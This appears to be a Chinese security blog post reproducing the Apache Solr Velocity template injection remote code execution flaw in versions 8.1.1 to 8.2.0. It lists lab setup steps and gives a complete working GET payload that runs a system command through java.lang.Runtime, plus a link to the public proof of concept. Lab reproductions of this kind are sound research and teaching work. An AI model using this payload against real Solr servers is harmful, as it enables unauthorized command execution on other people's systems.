• Apache Solr velocity模板注入RCE漏洞复现


    目录

    0x01 漏洞介绍
    0x02 漏洞范围
    0x03 漏洞复现

    0x01 漏洞介绍

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口。10月31号,国外安全研究院S00pY在GitHub发布了Apache Solr Velocity模板注入RCE的poc,截至写稿之时,Apache Solr官方还未发布该漏洞的补丁。

    0x02 漏洞范围

    Apache Solr8.1.1~8.2.0版本
    低版本Apache Solr不确定

    0x03 漏洞复现

    首先先安装好必要的Java8环境,然后把Solr下载回来

    file

    然后直接通过bin文件下的solr启动

    file

    会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将SOLR_ULIMIT_CHECKS设置为false

    file

    然后再次进行启动

    file

    再启动后访问http://IP:8983/solr
    但是发现不能创建core

    file

    我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建

    file

    Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

    我们的地址为http://IP:8983/solr/#/~cores/new_core
    然后根据以下的代码来更改其默认配置

    file

    file

    接下来我们就可以构造payload来实现RCE了

    http://192.168.175.132:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

    file

    只需要更改其中的代码就可以了

    POC:

    https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
    

    文章首发公众号:无心的梦呓(wuxinmengyi)

    这是一个记录红队学习、信安笔记,个人成长的公众号

    扫码关注即可

    file

  • 相关阅读:
    jQuery-封装的表单元素选择器
    jQuery-获取DOM元素的各类选择器
    jQuery-外部引用和直接引用
    数据库-查询平均成绩大于60分的同学的学号和平均成绩
    数据库-查询“001”课程比“002”课程成绩高的所有学生的学号
    ps让图片背景透明
    echarts中饼图的legend自定义icon图片(扇形为例)
    获取bootstrap模态框点击的对应项(e.relatedTarget.dataset)
    echarts属性的设置(完整大全)
    小程序获取地理位置授权
  • 原文地址:https://www.cnblogs.com/wuxinmengyi/p/11776007.html
Copyright © 2020-2023  润新知